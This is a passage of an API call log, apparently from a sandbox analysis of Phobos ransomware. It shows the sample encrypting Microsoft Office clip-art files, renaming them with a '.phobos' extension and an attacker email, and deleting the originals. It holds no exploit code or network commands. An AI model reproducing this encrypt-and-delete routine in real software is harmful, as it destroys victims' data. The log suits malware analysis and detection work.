dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.001] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.001] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb90) returned 1 [0059.001] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.001] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xbaaa, lpOverlapped=0x0) returned 1 [0059.048] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xbab0, dwBufLen=0xbab0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xbab0) returned 1 [0059.048] WriteFile (in: hFile=0x304, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xbab0, lpOverlapped=0x0) returned 1 [0059.049] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc790) returned 1 [0059.049] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.049] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0059.049] CryptDestroyKey (hKey=0x10dc790) returned 1 [0059.049] WriteFile (in: hFile=0x304, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0059.050] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0059.050] CloseHandle (hObject=0x310) returned 1 [0059.050] CloseHandle (hObject=0x304) returned 1 [0059.051] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0059.052] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0059.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.052] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=20554) returned 1 [0059.052] CloseHandle (hObject=0x304) returned 1 [0059.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220 [0059.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.053] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.053] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0059.053] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb90) returned 1 [0059.053] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.053] ReadFile (in: hFile=0x304, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x504a, lpOverlapped=0x0) returned 1 [0059.065] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x5050, dwBufLen=0x5050 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x5050) returned 1 [0059.065] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x5050, lpOverlapped=0x0) returned 1 [0059.066] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc90) returned 1 [0059.066] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.066] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0059.067] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0059.067] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0059.067] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0059.067] CloseHandle (hObject=0x304) returned 1 [0059.067] CloseHandle (hObject=0x310) returned 1 [0059.069] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0059.071] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0059.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.073] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=13515) returned 1 [0059.073] CloseHandle (hObject=0x304) returned 1 [0059.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220 [0059.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.075] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.075] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.497] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcc90) returned 1 [0059.497] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.497] ReadFile (in: hFile=0x304, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x34cb, lpOverlapped=0x0) returned 1 [0059.511] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x34d0, dwBufLen=0x34d0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x34d0) returned 1 [0059.511] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x34d0, lpOverlapped=0x0) returned 1 [0059.512] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc550) returned 1 [0059.512] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.512] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0059.512] CryptDestroyKey (hKey=0x10dc550) returned 1 [0059.512] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0059.512] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0059.512] CloseHandle (hObject=0x304) returned 1 [0059.512] CloseHandle (hObject=0x330) returned 1 [0059.513] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0059.514] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0059.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.515] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=20454) returned 1 [0059.515] CloseHandle (hObject=0x330) returned 1 [0059.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220 [0059.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.515] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.515] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.515] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcc10) returned 1 [0059.515] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.515] ReadFile (in: hFile=0x330, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x4fe6, lpOverlapped=0x0) returned 1 [0059.526] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4ff0, dwBufLen=0x4ff0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4ff0) returned 1 [0059.526] WriteFile (in: hFile=0x304, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x4ff0, lpOverlapped=0x0) returned 1 [0059.527] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc650) returned 1 [0059.527] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.527] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0059.527] CryptDestroyKey (hKey=0x10dc650) returned 1 [0059.527] WriteFile (in: hFile=0x304, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0059.527] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0059.527] CloseHandle (hObject=0x330) returned 1 [0059.527] CloseHandle (hObject=0x304) returned 1 [0059.528] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0059.529] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0059.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.530] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=12982) returned 1 [0059.530] CloseHandle (hObject=0x304) returned 1 [0059.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x220 [0059.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.530] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.530] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.531] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc950) returned 1 [0059.531] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.531] ReadFile (in: hFile=0x304, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x32b6, lpOverlapped=0x0) returned 1 [0059.545] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x32c0, dwBufLen=0x32c0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x32c0) returned 1 [0059.545] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x32c0, lpOverlapped=0x0) returned 1 [0059.546] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb10) returned 1 [0059.546] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.546] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0059.546] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0059.546] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0059.546] CryptDestroyKey (hKey=0x10dc950) returned 1 [0059.546] CloseHandle (hObject=0x304) returned 1 [0059.546] CloseHandle (hObject=0x330) returned 1 [0059.549] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0059.550] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0059.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0059.556] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=8772) returned 1 [0059.556] CloseHandle (hObject=0x310) returned 1 [0059.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x220 [0059.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0059.556] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.556] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0059.557] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc790) returned 1 [0059.557] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.557] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x2244, lpOverlapped=0x0) returned 1 [0059.587] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2250, dwBufLen=0x2250 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2250) returned 1 [0059.588] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x2250, lpOverlapped=0x0) returned 1 [0059.588] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc690) returned 1 [0059.588] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.588] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0059.588] CryptDestroyKey (hKey=0x10dc690) returned 1 [0059.589] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0059.589] CryptDestroyKey (hKey=0x10dc790) returned 1 [0059.589] 